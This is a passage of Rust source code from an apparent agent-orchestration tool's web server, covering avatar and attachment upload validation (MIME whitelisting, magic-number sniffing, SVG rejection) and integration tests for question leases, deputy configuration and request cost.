8897    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8898}
8899
8900#[derive(Deserialize)]
8901struct MagiIconUpload {
8902    icon: String,
8903}
8904
8905fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8906    save_icon_file(&magi_icon_path(home), icon)
8907}
8908
8909fn validate_uploaded_icon(icon: &str) -> Result<()> {
8910    if !icon.starts_with("data:") {
8911        anyhow::bail!("upload a raster image");
8912    }
8913    let (mime, bytes) = persona_icon::load(icon)?;
8914    if sniffed_mime(&bytes) != Some(mime) {
8915        anyhow::bail!("image content does not match its type");
8916    }
8917    Ok(())
8918}
8919
8920fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
8921    validate_uploaded_icon(icon)?;
8922    atomic_icon_write(path, icon)
8923}
8924
8925fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
8926    let home = path.parent().expect("icon parent");
8927    std::fs::create_dir_all(home)?;
8928    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8929    let temp = home.join(format!(".magi-icon-{token}.tmp"));
8930    let result = (|| -> Result<()> {
8931        use std::io::Write;
8932        let mut file = std::fs::OpenOptions::new()
8933            .write(true)
8934            .create_new(true)
8935            .open(&temp)?;
8936        file.write_all(icon.as_bytes())?;
8937        file.sync_all()?;
8938        std::fs::rename(&temp, path)?;
8939        Ok(())
8940    })();
8941    let _ = std::fs::remove_file(temp);
8942    result?;
8943    Ok(())
8944}
8945
8946async fn magi_icon_put(
8947    State(ui): State<Arc<Ui>>,
8948    Json(upload): Json<MagiIconUpload>,
8949) -> ApiResult<Json<serde_json::Value>> {
8950    blocking(move || {
8951        if !upload.icon.starts_with("data:") {
8952            return Err(ApiError::bad_request("upload a raster image"));
8953        }
8954        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8955        if sniffed_mime(&bytes) != Some(mime) {
8956            return Err(ApiError::bad_request(
8957                "image content does not match its type",
8958            ));
8959        }
8960        save_magi_icon(&ui.home, &upload.icon)?;
8961        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8962    })
8963    .await
8964}
8965
8966async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8967    blocking(move || {
8968        match std::fs::remove_file(magi_icon_path(&ui.home)) {
8969            Ok(()) => (),
8970            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8971            Err(e) => return Err(anyhow::Error::from(e).into()),
8972        }
8973        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8974    })
8975    .await
8976}
8977
8978async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8979    let icon = (q.builtin.is_none())
8980        .then(|| read_magi_icon(&ui.home))
8981        .flatten();
8982    let mut response = match icon
8983        .as_deref()
8984        .and_then(|icon| persona_icon::load(icon).ok())
8985    {
8986        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8987            attachment_response(mime, bytes)
8988        }
8989        _ => svg_avatar(persona_icon::magi_svg()),
8990    };
8991    response
8992        .headers_mut()
8993        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8994    response
8995}
8996
8997/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
8998/// operator's raster `icon` when it resolves and its bytes agree with its
8999/// type, the built-in SVG otherwise. Display only; every failure is a warning
9000/// and the built-in avatar, never an error response.
9001async fn talk_avatar(
9002    State(ui): State<Arc<Ui>>,
9003    Path(id): Path<String>,
9004    Query(q): Query<AvatarQuery>,
9005) -> ApiResult<Response> {
9006    blocking(move || {
9007        let id = resolve_talk(&ui.talks, &id)?;
9008        let talk = ui.talks.get(&id)?;
9009        let wanted = q
9010            .persona
9011            .as_deref()
9012            .map(str::trim)
9013            .filter(|p| !p.is_empty())
9014            .unwrap_or(&talk.persona)
9015            .to_owned();
9016        let specs = match Config::discover(&talk.repo, None) {
9017            Ok((cfg, _)) => cfg.talk.personas,
9018            Err(e) => {
9019                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9020                Vec::new()
9021            }
9022        };
9023        let found = persona::find(&specs, &wanted);
9024        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
9025        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9026        let icon = effective_persona_icon(
9027            &ui.home,
9028            &wanted,
9029            found.as_ref().and_then(|p| p.icon.as_deref()),
9030        );
9031        if found.is_none() && icon.is_none() {
9032            return Ok(builtin_avatar(persona::DEFAULT_ID));
9033        }
9034        let Some(icon) = icon
9035            .as_deref()
9036            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9037        else {
9038            return Ok(builtin_avatar(&wanted));
9039        };
9040        let Some(found) = found else {
9041            return Ok(raster_or_builtin(
9042                Some(icon),
9043                persona_icon::builtin_svg(&wanted),
9044            ));
9045        };
9046        match persona_icon::load(icon) {
9047            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9048                let mut res = attachment_response(mime, bytes);
9049                res.headers_mut().insert(
9050                    header::CACHE_CONTROL,
9051                    header::HeaderValue::from_static("no-cache"),
9052                );
9053                Ok(res)
9054            }
9055            Ok((mime, _)) => {
9056                tracing::warn!(
9057                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9058                    found.id
9059                );
9060                Ok(builtin_avatar(&found.id))
9061            }
9062            Err(e) => {
9063                tracing::warn!(
9064                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9065                    found.id
9066                );
9067                Ok(builtin_avatar(&found.id))
9068            }
9069        }
9070    })
9071    .await
9072}
9073
9074/// Validate an attachment upload's declared `Content-Type` and the bytes
9075/// themselves, returning the canonical mime on success.
9076///
9077/// Two checks, both required: the header has to name one of
9078/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
9079/// simply never in the list, active content rather than a picture, the same
9080/// exclusion [`asset_content_type`]'s doc explains), and the file's own
9081/// magic number has to agree. The second is what stops a mislabeled upload -
9082/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
9083/// a declared type is a claim, not a fact, so it is never trusted alone.
9084fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9085    if data.len() > ATTACHMENT_MAX_BYTES {
9086        return Err(ApiError::bad_request(format!(
9087            "attachment is {} bytes, over the {} MiB limit",
9088            data.len(),
9089            ATTACHMENT_MAX_BYTES / (1024 * 1024)
9090        ))
9091        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9092    }
9093    if data.is_empty() {
9094        return Err(ApiError::bad_request("attachment is empty"));
9095    }
9096    let declared = declared_mime(headers)?;
9097    match sniffed_mime(data) {
9098        Some(sniffed) if sniffed == declared => Ok(declared),
9099        Some(sniffed) => Err(ApiError::bad_request(format!(
9100            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9101        ))),
9102        None => Err(ApiError::bad_request(
9103            "the file's bytes do not match any accepted image format",
9104        )),
9105    }
9106}
9107
9108/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
9109/// and nothing else - parameters like `; charset=` are stripped, but the
9110/// value itself is not otherwise interpreted.
9111fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9112    let raw = headers
9113        .get(header::CONTENT_TYPE)
9114        .and_then(|v| v.to_str().ok())
9115        .unwrap_or("")
9116        .split(';')
9117        .next()
9118        .unwrap_or("")
9119        .trim()
9120        .to_ascii_lowercase();
9121    ATTACHMENT_MIME_WHITELIST
9122        .iter()
9123        .find(|&&m| m == raw)
9124        .copied()
9125        .ok_or_else(|| {
9126            if raw == "image/svg+xml" {
9127                ApiError::bad_request(
9128                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
9129                     not just a picture",
9130                )
9131            } else if raw.is_empty() {
9132                ApiError::bad_request("Content-Type is required for an attachment upload")
9133            } else {
9134                ApiError::bad_request(format!(
9135                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9136                     image/gif or image/webp"
9137                ))
9138            }
9139        })
9140}
9141
9142/// Identify an image by its magic number, independent of whatever
9143/// `Content-Type` claimed.
9144fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9145    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9146        Some("image/png")
9147    } else if data.starts_with(b"\xff\xd8\xff") {
9148        Some("image/jpeg")
9149    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9150        Some("image/gif")
9151    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9152        Some("image/webp")
9153    } else {
9154        None
9155    }
9156}
9157
9158/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
9159/// display - see [`talk::Attachment::name`]'s doc on why it never
9160/// contributes to a path. A missing or blank header (curl without it, an
9161/// older front end) falls back to a generic name rather than refusing the
9162/// upload over a field that is cosmetic.
9163fn filename_header(headers: &HeaderMap) -> String {
9164    headers
9165        .get(FILENAME_HEADER)
9166        .and_then(|v| v.to_str().ok())
9167        .map(str::trim)
9168        .filter(|s| !s.is_empty())
9169        .unwrap_or("attachment")
9170        .to_owned()
9171}
9172
9173/// Every attachment `GET` response: the mime re-validated against the same
9174/// closed whitelist the upload route enforces - never the string trusted
9175/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
9176/// cannot decide it knows better than the type we send. Unlike a panel asset
9177/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
9178/// document renders inline, not agent-authored HTML in a sandboxed frame.
9179fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
9180    let content_type = ATTACHMENT_MIME_WHITELIST
9181        .iter()
9182        .find(|&&m| m == mime)
9183        .copied()
9184        .unwrap_or("application/octet-stream");
9185    (
9186        [
9187            (header::CONTENT_TYPE, content_type),
9188            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9189        ],
9190        body,
9191    )
9192        .into_response()
9193}
9194
9195/// The configuration for a repository, read off the disk for this request.
9196///
9197/// Through [`blocking`] because discovery reads and merges several TOML files,
9198/// and because the alternative - caching it in [`Ui`] at startup - would mean
9199/// the operator's phone kept interviewing with a roster they had already
9200/// changed, with no way to reload it but restarting the server they are not
9201/// sitting in front of.
9202async fn config_for(repo: &FsPath) -> ApiResult<Config> {
9203    let repo = repo.to_path_buf();
9204    blocking(move || {
9205        let (cfg, _) = Config::discover(&repo, None)?;
9206        Ok(cfg)
9207    })
9208    .await
9209}
9210
9211/// The one prefix rule, used for both runs and tasks: a leading match for a
9212/// full id, a trailing match for the short form an operator reads off a
9213/// report. Written here rather than borrowed from `queue::resolve_id` because
9214/// the UI needs the two failures as different status codes, and telling them
9215/// apart from an error message is not something to build a route on.
9216fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
9217    let mut hits = ids
9218        .into_iter()
9219        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
9220    match (hits.next(), hits.next()) {
9221        (Some(one), None) => Ok(one),
9222        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
9223        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
9224            "`{prefix}` matches more than one {what}, including {a} and {b}"
9225        ))),
9226    }
9227}
9228
9229#[cfg(test)]
9230mod tests {
9231
9232    #[test]
9233    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
9234        let dir = tempfile::tempdir().unwrap();
9235        let store = ask::Questions::at(dir.path().join("questions"));
9236        let mut q = Question::new(
9237            "task".to_owned(),
9238            "conduct".to_owned(),
9239            "conduct".to_owned(),
9240            "choose".to_owned(),
9241            String::new(),
9242            vec!["keep".to_owned()],
9243        );
9244        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
9245        q.say("why?").unwrap();
9246        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
9247        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9248        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
9249        store.put(&mut q).unwrap();
9250        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9251        assert_eq!(store.count_needs_owner(), 1);
9252        store.beat(&q.id, ask::WaiterKind::Deputy);
9253        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9254        assert_eq!(store.count_needs_owner(), 0);
9255        let mut stale = store.read_lease(&q.id).unwrap();
9256        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
9257        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
9258        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
9259        assert!(view.deputy_exhausted);
9260        assert!(view.waiting_on_agent);
9261        assert_eq!(view.question.choices, ["keep"]);
9262        store.drop_lease(&q.id);
9263        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
9264        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
9265    }
9266
9267    #[test]
9268    fn holder_reads_the_lease_not_the_record() {
9269        let mut q = Question::new(
9270            "run".to_owned(),
9271            "implement".to_owned(),
9272            "impl-A".to_owned(),
9273            "which?".to_owned(),
9274            String::new(),
9275            Vec::new(),
9276        );
9277        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
9278        q.cwd = Some("/tmp".to_owned());
9279        assert_eq!(holder_of(&q, None), Some("nobody"));
9280        let beat = |kind, ago: i64| ask::Lease {
9281            kind,
9282            pid: 1,
9283            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
9284                .unwrap(),
9285        };
9286        let fresh = beat(ask::WaiterKind::Asker, 1);
9287        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
9288        let daemon = beat(ask::WaiterKind::Daemon, 1);
9289        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
9290        let stale = beat(ask::WaiterKind::Asker, 3600);
9291        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
9292
9293        // A conductor question says "deputy" only while one is attached and
9294        // alive, and "nobody" - never silence - when nothing ever listened.
9295        let mut c = Question::new(
9296            "task".to_owned(),
9297            crate::conduct::NODE.to_owned(),
9298            "conduct".to_owned(),
9299            "which?".to_owned(),
9300            String::new(),
9301            Vec::new(),
9302        );
9303        assert_eq!(holder_of(&c, None), Some("nobody"));
9304        c.cwd = Some("/tmp".to_owned());
9305        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9306        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9307        let deputy = beat(ask::WaiterKind::Deputy, 1);
9308        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9309        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9310
9311        // A release-watch question: nobody until a deputy is attached.
9312        let mut r = Question::new(
9313            String::new(),
9314            crate::bump::NOTICE_NODE.to_owned(),
9315            "release-watch".to_owned(),
9316            "stuck?".to_owned(),
9317            String::new(),
9318            vec!["hold".to_owned()],
9319        );
9320        assert_eq!(holder_of(&r, None), Some("nobody"));
9321        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9322        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9323        // A choice-less bump notice is nobody's question at all.
9324        r.deputy = None;
9325        r.seat = "bump".to_owned();
9326        assert_eq!(holder_of(&r, None), None);
9327
9328        // A merge approval is the same: nobody until a deputy is attached
9329        // and alive, never a silent "no holder".
9330        let mut m = Question::new(
9331            "run".to_owned(),
9332            crate::land::APPROVAL_NODE.to_owned(),
9333            "land".to_owned(),
9334            "merge?".to_owned(),
9335            String::new(),
9336            Vec::new(),
9337        );
9338        assert_eq!(holder_of(&m, None), Some("nobody"));
9339        assert_eq!(
9340            holder_of(&m, Some(&fresh)),
9341            Some("asker"),
9342            "a live explicit wait is a listener even before a deputy is attached"
9343        );
9344        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9345        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9346        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9347        assert_eq!(holder_of(&m, None), Some("nobody"));
9348    }
9349
9350    fn stub_config() -> Config {
9351        // An explicit roster, so the result never depends on which agent CLIs
9352        // this machine has installed.
9353        Config {
9354            agents: vec![crate::config::AgentSpec {
9355                id: "stub".to_owned(),
9356                kind: AgentKind::Command,
9357                model: None,
9358                command: vec!["true".to_owned()],
9359                extra_args: Vec::new(),
9360                env: Default::default(),
9361                prompt_delivery: None,
9362            }],
9363            ..Config::default()
9364        }
9365    }
9366
9367    fn plain_question(seat: &str) -> Question {
9368        Question::new(
9369            String::new(),
9370            "n".to_owned(),
9371            seat.to_owned(),
9372            "s".to_owned(),
9373            String::new(),
9374            Vec::new(),
9375        )
9376    }
9377
9378    #[test]
9379    fn deputies_enabled_follows_the_config() {
9380        let on = stub_config();
9381        assert!(crate::deputy::can_start(Some(&on), ""));
9382        assert!(crate::deputy::can_start(Some(&on), "stub"));
9383        let mut off = on.clone();
9384        off.daemon.max_deputies = 0;
9385        assert!(!crate::deputy::can_start(Some(&off), ""));
9386        let mut empty = on;
9387        empty.agents.clear();
9388        assert!(!crate::deputy::can_start(Some(&empty), ""));
9389        assert!(!crate::deputy::can_start(None, ""));
9390    }
9391
9392    #[test]
9393    fn question_views_load_the_config_once() {
9394        let dir = TempDir::new().unwrap();
9395        let store = ask::Questions::at(dir.path().to_path_buf());
9396        let mut with_deputy = plain_question("b");
9397        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9398        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9399
9400        let calls = std::cell::Cell::new(0usize);
9401        let views = question_views(qs.clone(), &store, || {
9402            calls.set(calls.get() + 1);
9403            Some(stub_config())
9404        });
9405        assert_eq!(calls.get(), 1);
9406        assert_eq!(views.len(), 3);
9407        for (v, q) in views.iter().zip(&qs) {
9408            assert_eq!(
9409                v.deputies_enabled,
9410                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9411            );
9412        }
9413
9414        let views = question_views(qs, &store, || None);
9415        assert!(views.iter().all(|v| !v.deputies_enabled));
9416
9417        let calls = std::cell::Cell::new(0usize);
9418        let views = question_views(Vec::new(), &store, || {
9419            calls.set(calls.get() + 1);
9420            None
9421        });
9422        assert!(views.is_empty());
9423        assert_eq!(calls.get(), 0);
9424    }
9425
9426    use pretty_assertions::assert_eq;
9427    use serde_json::Value;
9428    use tempfile::TempDir;
9429    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9430
9431    use super::*;
9432    use crate::config::Config;
9433    use crate::queue::Source;
9434
9435    /// How many 10ms steps a settle loop takes before it calls a stall a
9436    /// stall - thirty seconds.
9437    ///
9438    /// These loops wait on real `sh` subprocesses, and the machine that runs
9439    /// the gate runs several suites at once, so a two-second budget was not
9440    /// waiting for the reply, it was racing the scheduler: two of these
9441    /// tests failed under that load with the turn simply not landed yet.
9442    /// This is a hang guard, not a latency assertion - every loop breaks the
9443    /// moment its condition holds, so a generous cap costs an idle machine
9444    /// nothing and still fails a genuine hang instead of hanging the suite.
9445    const SETTLE_STEPS: usize = 3_000;
9446
9447    /// A home with a queue and a runs directory, and a router serving it on
9448    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
9449    /// dependency, not ours - so the tests drive a real socket, which has the
9450    /// side benefit of asserting the status line and content types the phone
9451    /// actually receives.
9452    struct Fixture {
9453        home: TempDir,
9454        addr: SocketAddr,
9455    }
9456
9457    impl Fixture {
9458        async fn start() -> Self {
9459            Self::with_loop(launch_idle).await
9460        }
9461
9462        /// A fixture whose loop is `launch`.
9463        async fn with_loop(launch: Launch) -> Self {
9464            let home = TempDir::new().expect("temp home");
9465            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9466            Self { home, addr }
9467        }
9468
9469        /// A fixture whose `ui.repo` is a real directory rather than the
9470        /// usual placeholder - for the routes that read config off it
9471        /// (`GET /api/repos`) and would otherwise have nothing to discover.
9472        async fn with_repo(repo: PathBuf) -> Self {
9473            let home = TempDir::new().expect("temp home");
9474            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9475            Self { home, addr }
9476        }
9477
9478        /// As [`Fixture::with_repo`], with the machine-config file the
9479        /// settings screen reads and writes.
9480        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9481            let home = TempDir::new().expect("temp home");
9482            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9483            Self { home, addr }
9484        }
9485
9486        async fn serve(
9487            home: &FsPath,
9488            repo: PathBuf,
9489            launch: Launch,
9490            machine: Option<PathBuf>,
9491        ) -> SocketAddr {
9492            let queue = Queue::at(home.join("queue"));
9493            let runs = home.join("runs");
9494            std::fs::create_dir_all(&runs).expect("runs dir");
9495            let worktrees = home.join("wt").join("magi");
9496            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9497            let ui = Ui::new(
9498                queue,
9499                Questions::at(home.join("questions")),
9500                Talks::at(home.join("talks")),
9501                runs,
9502                home.to_path_buf(),
9503                repo,
9504            )
9505            .with_worktrees_root(worktrees)
9506            .with_machine_config(machine)
9507            .with_launch(launch);
9508            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9509                .await
9510                .expect("bind loopback");
9511            let addr = listener.local_addr().expect("local addr");
9512            tokio::spawn(async move {
9513                let router = ui
9514                    .router()
9515                    .layer(axum::middleware::from_fn(request_cost::observe));
9516                let _ = axum::serve(listener, router).await;
9517            });
9518            addr
9519        }
9520
9521        fn queue(&self) -> Queue {
9522            Queue::at(self.home.path().join("queue"))
9523        }
9524
9525        fn questions(&self) -> Questions {
9526            Questions::at(self.home.path().join("questions"))
9527        }
9528
9529        fn talks(&self) -> Talks {
9530            Talks::at(self.home.path().join("talks"))
9531        }
9532
9533        fn runs(&self) -> PathBuf {
9534            self.home.path().join("runs")
9535        }
9536
9537        async fn get(&self, path: &str) -> Res {
9538            request(self.addr, "GET", path, None).await
9539        }
9540
9541        /// The status and headers without the body, which is how the front end
9542        /// preflights a panel: a sandboxed frame is opaque to the parent
9543        /// document, so the only way to tell "no panel" from "a panel that
9544        /// rendered blank" is to ask before mounting.
9545        async fn head(&self, path: &str) -> Res {
9546            request(self.addr, "HEAD", path, None).await
9547        }
9548
9549        async fn post(&self, path: &str, body: Option<&str>) -> Res {
9550            request(self.addr, "POST", path, body).await
9551        }
9552
9553        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9554            request_with(self.addr, "GET", path, None, extra).await
9555        }
9556
9557        async fn delete(&self, path: &str) -> Res {
9558            request(self.addr, "DELETE", path, None).await
9559        }
9560
9561        async fn put(&self, path: &str, body: &str) -> Res {
9562            request(self.addr, "PUT", path, Some(body)).await
9563        }
9564
9565        /// `POST` a raw body with its own headers - see [`request_bytes`].
9566        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9567            request_bytes(self.addr, path, headers, body).await
9568        }
9569    }
9570
9571    /// Real tracking refs exercise the successful discovery path (including
9572    /// extraction), rather than counting cheap failures on a placeholder repo.
9573    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9574        let tmp = TempDir::new().unwrap();
9575        let mut repos = Vec::new();
9576        for name in ["one", "two"] {
9577            let repo = tmp.path().join(name);
9578            let origin = tmp.path().join(format!("{name}.git"));
9579            std::fs::create_dir_all(&repo).unwrap();
9580            crate::git::git(&repo, &["init", "-b", "main"])
9581                .await
9582                .unwrap();
9583            std::fs::write(
9584                repo.join("magi.toml"),
9585                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9586            )
9587            .unwrap();
9588            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9589            crate::git::git(
9590                &repo,
9591                &[
9592                    "-c",
9593                    "user.name=fixture",
9594                    "-c",
9595                    "user.email=fixture@example.invalid",
9596                    "commit",
9597                    "-m",
9598                    "fixture",
9599                ],
9600            )
9601            .await
9602            .unwrap();
9603            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9604                .await
9605                .unwrap();
9606            crate::git::git(
9607                &repo,
9608                &["remote", "add", "origin", origin.to_str().unwrap()],
9609            )
9610            .await
9611            .unwrap();
9612            crate::git::git(&repo, &["push", "origin", "main"])
9613                .await
9614                .unwrap();
9615            crate::git::git(
9616                &repo,
9617                &[
9618                    "symbolic-ref",
9619                    "refs/remotes/origin/HEAD",
9620                    "refs/remotes/origin/main",
9621                ],
9622            )
9623            .await
9624            .unwrap();
9625            let (cfg, _) = Config::discover(&repo, None).unwrap();
9626            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9627            repos.push(repo);
9628        }
9629        let repos: [PathBuf; 2] = repos.try_into().unwrap();
9630        (tmp, repos)
9631    }
9632
9633    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9634        let (tmp, repos) = performance_repositories().await;
9635        let machine = tmp.path().join("machine.toml");
9636        std::fs::write(&machine, "").unwrap();
9637        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9638        (tmp, repos, fx)
9639    }
9640
9641    fn seed_performance(
9642        fx: &Fixture,
9643        repos: &[PathBuf; 2],
9644        questions: usize,
9645        runs: usize,
9646        items: usize,
9647    ) {
9648        // Saving states directly never starts a run or changes MAGI_HOME.
9649        for i in fx.questions().list().len()..questions {
9650            let mut question = Question::new(
9651                "20261001-000000-0000".into(),
9652                "implement".into(),
9653                "impl-A".into(),
9654                format!("question {i}"),
9655                "context".into(),
9656                vec!["yes".into(), "no".into()],
9657            );
9658            question.id = format!("20261003-000000-{i:04x}");
9659            fx.questions().put(&mut question).unwrap();
9660        }
9661        for i in run_ids(&fx.runs()).len()..runs {
9662            write_run_repo(
9663                &fx.runs(),
9664                &format!("20261001-000000-{i:04x}"),
9665                RunStatus::Ready,
9666                repos[i % 2].to_str().unwrap(),
9667            );
9668        }
9669        for i in fx.talks().list().len()..items {
9670            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9671            let mut talk = fx.talks().get(&id).unwrap();
9672            talk.repo = repos[i % 2].clone();
9673            fx.talks().put(&mut talk).unwrap();
9674            let mut task = crate::queue::Task::new(
9675                format!("task {i}"),
9676                "instruction".into(),
9677                repos[i % 2].clone(),
9678                crate::queue::Source::Agent {
9679                    run: id,
9680                    node: crate::queue::CHAT_NODE.into(),
9681                },
9682            );
9683            task.id = format!("20261004-000000-{i:04x}");
9684            fx.queue().put(&mut task).unwrap();
9685            // Notices has a production retention cap; seed up to that cap.
9686            if i < crate::notices::CAP {
9687                Notices::at(fx.home.path().join("notifications"))
9688                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
9689                    .unwrap();
9690            }
9691        }
9692        assert_eq!(fx.questions().list().len(), questions);
9693        assert_eq!(run_ids(&fx.runs()).len(), runs);
9694        assert_eq!(fx.talks().list().len(), items);
9695        assert_eq!(fx.queue().list().len(), items);
9696        assert_eq!(
9697            Notices::at(fx.home.path().join("notifications"))
9698                .list()
9699                .len(),
9700            items.min(crate::notices::CAP)
9701        );
9702    }
9703
9704    fn request_counts(res: &Res) -> (usize, usize) {
9705        assert_eq!(res.status, 200, "{}", res.body);
9706        (
9707            res.header("x-test-discoveries").unwrap().parse().unwrap(),
9708            res.header("x-test-git").unwrap().parse().unwrap(),
9709        )
9710    }
9711
9712    #[tokio::test]
9713    async fn list_request_cost_is_independent_of_record_count() {
9714        let (_tmp, repos, fx) = performance_fixture().await;
9715        let mut previous = None;
9716        for n in [4, 60] {
9717            seed_performance(&fx, &repos, n, n, n);
9718            let mut costs = Vec::new();
9719            for (path, discoveries) in [
9720                ("/api/questions", 1),
9721                ("/api/talks", 2),
9722                ("/api/health", 1),
9723                ("/api/stats", 1),
9724            ] {
9725                // Equal cold extraction caches at both scales; this also
9726                // bounds first-request cost instead of only warmed requests.
9727                for repo in &repos {
9728                    let cache = repo.join(".git/magi/config");
9729                    if cache.exists() {
9730                        std::fs::remove_dir_all(cache).unwrap();
9731                    }
9732                }
9733                let cost = request_counts(&fx.get(path).await);
9734                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9735                assert_eq!(cost.0, discoveries, "{path}, N={n}");
9736                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9737                costs.push(cost);
9738            }
9739            if let Some(previous) = previous {
9740                assert_eq!(costs, previous);
9741            }
9742            previous = Some(costs);
9743        }
9744        // runs reads shared row inputs and probes process liveness; queue
9745        // builds one blocker inventory; notifications reads its own store.
9746        // None discovers configuration or spawns git per item.
9747    }
9748
9749    /// The same handler path without transport, so the deterministic cause
9750    /// can also be checked in environments that prohibit binding sockets.
9751    #[tokio::test]
9752    async fn list_handler_cost_without_transport() {
9753        let (_tmp, repos) = performance_repositories().await;
9754        let fx = Fixture {
9755            home: TempDir::new().unwrap(),
9756            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9757        };
9758        let ui = Arc::new(
9759            Ui::new(
9760                fx.queue(),
9761                fx.questions(),
9762                fx.talks(),
9763                fx.runs(),
9764                fx.home.path().to_path_buf(),
9765                repos[0].clone(),
9766            )
9767            .with_worktrees_root(fx.home.path().join("wt")),
9768        );
9769        let mut previous = None;
9770        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9771            seed_performance(&fx, &repos, n, runs, items);
9772            let mut costs = Vec::new();
9773            for endpoint in ["questions", "talks", "health", "stats"] {
9774                for repo in &repos {
9775                    let cache = repo.join(".git/magi/config");
9776                    if cache.exists() {
